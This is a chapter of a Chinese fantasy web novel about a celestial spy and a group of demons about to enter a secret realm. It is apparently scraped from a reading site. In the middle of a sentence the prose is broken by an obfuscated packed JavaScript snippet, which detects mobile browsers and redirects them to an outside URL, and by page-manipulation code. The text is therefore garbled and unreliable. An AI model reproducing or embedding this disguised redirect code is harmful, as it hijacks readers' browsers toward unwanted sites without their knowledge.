“而笛曲吹出来,每个音皆不可出错,一出错便只得重头开始。这首曲子这样长,快要一盏茶的时间了,也就是现在你给足了机会让我演示,若换作激战之际,哪个敌人会老老实实站着不动听我吹啊……” 再厉害的招式,施展条件如此苛刻,也就成了用不了的摆设。 何况对于仙界而言,这种程度的“厉害”并非不可替代,同等水平之下,当然宁可选择施术手段更灵活的人。 “嗯……” 他抱怀沉吟,“那你这个问题,不能通过修炼来改善吗?” “不行的。”她摇头,“我试过了,不管练得多熟悉都需要准确清晰地吹完,没法避免。” 所以鸣枝以往总是把曲子掐头去尾地裁成一小段,尽管威力会大打折扣,但好歹是有些许用武之地。 “即便是缩短了长度的笛曲,依旧需要时间吹奏,在瞬息万变的战场上哪怕一眨眼的光景也能决定生死,自是不如别人有优势。” 说话间,她伸手看了看他脸颊上的一处擦伤,举笛吹了一段舒缓的旋律。 炽阳微微垂眸,感觉到眼底下的伤口正在迅速愈合。 好奇怪的能力。 虽然魔界的功法五花八门,什么千奇百怪的路子都有,不过她这样的,自己也是头回遇见。 她貌似挺强,却又很弱。 炽阳在心里笑了一下。 这点倒是跟他很像。 再抬眸时,就见她对着手中的法器漫不经心地发愁。 “要是我也可以一下子把招术打出去就好了。” * 由于半途被炽阳打搅,鸣枝回到住处时已经晚了。 这人不知是什么毛病,看她吹了半日笛子,又挨了半日打,最后竟无事发生地打道回府,跟闹着玩儿似的。 鸣枝义愤填膺了一会儿。 忽然反应过来,开始紧张—— 他不会是在试探自己的术法套路吧! 上峰曾言,魔族人的神通均是靠天生地养自行开悟,故而各有不同,她现在的招式里全是魔气,看不出一丁点仙味儿,应该没什么大问题。 ……应该。 再过几个时辰就要进入魔界那个神秘莫测,吉凶难断的阵法了,会连着好几日不能回来。 鸣枝在桌边坐下后,进识海之中查看了一番,传信的法阵处空无一物。 前天刚递交了情报,大概要等个七八日才能收到回复。 她想了想,未免天界联系不上自己,还是将此番行动一一上书告知。 其实因祸得福,通过舅舅老叔慷慨借阅的书籍,鸣枝了解了不少魔界的信息。 这次更将与几位大魔头同行,少不得能偷偷摸清他们的功法底细。 鸣枝往椅背上一靠,望着窗外乐观地期盼着。 老上峰说过,她潜入魔都之举大大加快了整个计划的进程。 也许上仙们已经在商讨如何发兵魔域的事了。 也许等她从秘境中出来,就能收到撤回天界的指令。 届时为仙族立下大功的小仙女将衣锦还乡,荣归故里,登天殿的百级长梯两侧都是撒着花敲着鼓给她助兴的神卫队兵将们。 鸣枝就这么做着白日梦迎来了地现日的第四天。 炽阳领着她来到城东一座荒废已久的宅院背后。 传说中的“地现阵”就开在一口古井的正上方。 待她抵达之时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704003|207161||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 才发现自己姗姗来迟,刺海棠几人早就等候许久,并且每一个…… 居然都带了容量不小的包袱! 背上背的,腰间挎的,正聊得热火朝天,俨然一副去踏青的模样。 气氛如此……愉悦吗? 周遭倒是并无路人,想必提前疏散了。 鸣枝尚在举目环顾,冷不防肩头被人放了一个小布包。 她一转身,竟是舅舅老叔。 “来,他们有的,你也要有。”引千锋替她紧了紧系带,“你那荷包应是装不了太多东西,这乾坤混元囊至少能容纳一个仓库的杂物,进去之后遇到什么喜欢的就带上。” 鸣枝有些不好意思起来:“谢谢,呃,舅舅……” “客气什么——这份清单你收好。” 他说着压低嗓音,“上面是关于你们解契所需的材料,量力而为便是。有不懂的就问炽阳。” 她点点头。 “行了,去吧,早去早回。” 引千锋将她往前面轻轻一推。 他身侧的人偶今日特地换了身明亮的吉服,悄无声息地冲她一欠身,当作是饯行。 “小双双,老叔给你了什么好东西呀!” 刺海棠见状迅速便贴了上来。 “啊,混元囊,还是全新的呢,我上次缠他那么久也不肯给我,不愧是自家人,老叔真偏心……” 话音刚落,大约是被斩星拿手肘捅了一下,她慌忙改口:“我是说……这么好的干舅舅上哪儿找去啊。” 末了“嘿嘿”两声以作掩饰。 断云是最没心思参与他们扯淡的,仰首望了一眼天色,见大魔都上空的浓云里隐有雷电闪烁。 “该动身了,再不走可要下雨了。” 魔头们稀稀拉拉地附和着。 各自一纵身,下饺子般陆续没入阵法之中。 头顶的闷雷轰鸣作响,电光暗沉沉地打在石墙上。 鸣枝抬起脑袋。 那法阵果真挂在半空的墙头,壁画似的悬着一圈叫人看不懂的符文古字。 不仅如此,位置还有些高。 就这么进去么? 自己是走后面还是走前面……入阵以后有什么需要注意的吗? 她于是犹豫着去看一旁的炽阳,想征求他的意见。 金发的少年接收到她的目光,先疑惑了片刻,随即很快他就觉得自己“懂了”。 “上不去是吗?我来帮你。” 鸣枝:“?” 还没来得及辩解,只觉腰上一紧,双脚忽然就腾空离地。 等会儿? 她仿若一只人形沙袋,被炽阳轻轻巧巧地举了起来。 背后的金毛还相当来劲,往后挪了几步找到一个绝佳的位置,开始念念有词: “一、二……” “不是——” “三”字尚未脱口,鸣枝便如离弦之箭,被他笔直扔了出去,且十分精准地,一头扎进法阵中。 我说什么了? 她心想。 我是这个意思吗?! 她现在明白了。 他们二人别说合作,简直是毫无默契可言。